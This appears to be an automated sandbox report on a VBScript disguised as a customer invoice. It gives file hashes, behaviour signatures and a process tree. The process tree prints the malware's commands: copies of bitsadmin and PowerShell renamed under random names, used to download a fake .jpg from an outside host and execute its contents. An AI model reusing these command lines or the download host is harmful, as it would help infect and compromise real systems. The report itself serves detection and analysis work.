Analysis

  • max time kernel
    63s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    13-07-2020 07:18

General

  • Target

    Fatt_cliente_00453830309.vbs

  • Size

    3KB

  • MD5

    62b3b8b5c2ceacaee5e3e22939c45a43

  • SHA1

    3a579492c1c373cb61ced3c7a88cffb13d73e1ac

  • SHA256

    77e7a4deb92496d0954a6fd03cece71dfd53bc774cfb89dc16410c91cf09f598

  • SHA512

    0b969e6f0163f22402bfb31f424ff33b8985a1406fd65936e4239b31ba1b75501cbea31bd944cd02c97d88e707e08097b83b8b258e2352b4f92286e09fac93d1

Score
8/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 14 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_00453830309.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
      2⤵
        PID:1432
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\FeUgzu.exe
        2⤵
          PID:676
        • C:\Users\Admin\AppData\Roaming\FeUgzu.exe
          "C:\Users\Admin\AppData\Roaming\FeUgzu.exe" /transfer DQeUoq /download https://sheyenneweber.com/webol/00453830309/uk.jpg C:\Users\Admin\AppData\Roaming\uk.jpg
          2⤵
          • Executes dropped EXE
          PID:368
        • C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
          "C:\Users\Admin\AppData\Roaming\zFeUgzu.exe" -c &{$us=gc C:\Users\Admin\AppData\Roaming\uk.jpg| Out-String; Invoke-Expression $us }
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:1860

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\FeUgzu.exe
      • C:\Users\Admin\AppData\Roaming\FeUgzu.exe
      • C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
      • C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
      • memory/368-3-0x0000000000000000-mapping.dmp
      • memory/676-1-0x0000000000000000-mapping.dmp
      • memory/1108-10-0x0000000002510000-0x0000000002514000-memory.dmp
        Filesize

        16KB

      • memory/1432-0-0x0000000000000000-mapping.dmp
      • memory/1860-6-0x0000000000000000-mapping.dmp